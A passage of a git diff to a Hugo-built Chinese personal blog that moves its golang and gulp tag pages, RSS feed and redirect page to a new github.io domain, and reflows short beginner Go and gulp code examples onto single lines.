Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="golang"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/golang/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="golang"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>golang</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Golang学习笔记</h2></header><div class=entry-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>golang | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/golang/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/golang/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="golang"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/golang/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="golang"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>golang</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Golang学习笔记</h2></header><div class=entry-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
 go的源文件是xxx.go
@@ -13,12 +13,7 @@
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
-import "fmt"
-func main(){
-fmt.Println("hallo golang")
-}
-go run hallo.go
+package main import "fmt" func main(){ fmt.Println("hallo golang") } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -39,7 +34,7 @@
 var abc string = “hallo”
 注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）
 定义多个变量
-var abc xyz string = “hallo”,“word”...</p></div><footer class=entry-footer><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang学习笔记" href=https://xiaochenabc123.github.io/posts/96/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/tags/golang/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+var abc xyz string = “hallo”,“word”...</p></div><footer class=entry-footer><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang学习笔记" href=https://chenjunlinabc.github.io/posts/96/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/tags/golang/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/gulp/index.html b/tags/gulp/index.html
index c4977cc9..389bcbe4 100644
--- a/tags/gulp/index.html
+++ b/tags/gulp/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Gulp | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/gulp/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/gulp/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Gulp"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/gulp/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Gulp"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Gulp</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>gulp学习笔记</h2></header><div class=entry-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Gulp | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/gulp/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/gulp/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Gulp"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/gulp/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Gulp"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Gulp</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>gulp学习笔记</h2></header><div class=entry-content><p>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install –global gulp-cli
 或者
@@ -24,12 +24,8 @@
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require("gulp");
-gulp.task("test", function() {
-return console.log("hallo gulp");
-});
-执行test任务（在终端，应用根目录下）
-gulp test...</p></div><footer class=entry-footer><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to gulp学习笔记" href=https://xiaochenabc123.github.io/posts/73/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+let gulp = require("gulp"); gulp.task("test", function() { return console.log("hallo gulp"); }); 执行test任务（在终端，应用根目录下）
+gulp test...</p></div><footer class=entry-footer><span title='2021-08-06 20:52:00 +0000 UTC'>2021-08-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to gulp学习笔记" href=https://chenjunlinabc.github.io/posts/73/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/gulp/index.xml b/tags/gulp/index.xml
index 0b314766..455579af 100644
--- a/tags/gulp/index.xml
+++ b/tags/gulp/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Gulp on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/gulp/</link>
+    <link>https://chenjunlinabc.github.io/tags/gulp/</link>
     <description>Recent content in Gulp on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 06 Aug 2021 20:52:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/gulp/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 06 Aug 2021 20:52:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/gulp/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>gulp学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/73/</link>
+      <link>https://chenjunlinabc.github.io/posts/73/</link>
       <pubDate>Fri, 06 Aug 2021 20:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/73/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/73/</guid>
       <description>gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务
 全局安装gulp
 npm install &amp;ndash;global gulp-cli
@@ -44,7 +44,7 @@ gulp.dest() // 执行完任务的文件最后在哪里
 gulp.watch() // 监测文件是否发生变化
 gulp.task()其中有两个参数，分别是任务名称和一个回调函数
 例如：
-let gulp = require(&amp;quot;gulp&amp;quot;);
gulp.task(&amp;quot;test&amp;quot;, function() {
return console.log(&amp;quot;hallo gulp&amp;quot;);
});
执行test任务（在终端，应用根目录下）
+let gulp = require(&amp;quot;gulp&amp;quot;); gulp.task(&amp;quot;test&amp;quot;, function() { return console.log(&amp;quot;hallo gulp&amp;quot;); }); 执行test任务（在终端，应用根目录下）
 gulp test</description>
     </item>
     
diff --git a/tags/gulp/page/1/index.html b/tags/gulp/page/1/index.html
index cba3af73..e797beb3 100644
--- a/tags/gulp/page/1/index.html
+++ b/tags/gulp/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/gulp/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/gulp/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/gulp/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/gulp/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/gulp/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/gulp/"></head></html>
\ No newline at end of file
diff --git a/tags/hexo/index.html b/tags/hexo/index.html
index 440bc532..2eec5b74 100644
--- a/tags/hexo/index.html
+++ b/tags/hexo/index.html
@@ -1,4 +1,4 @@
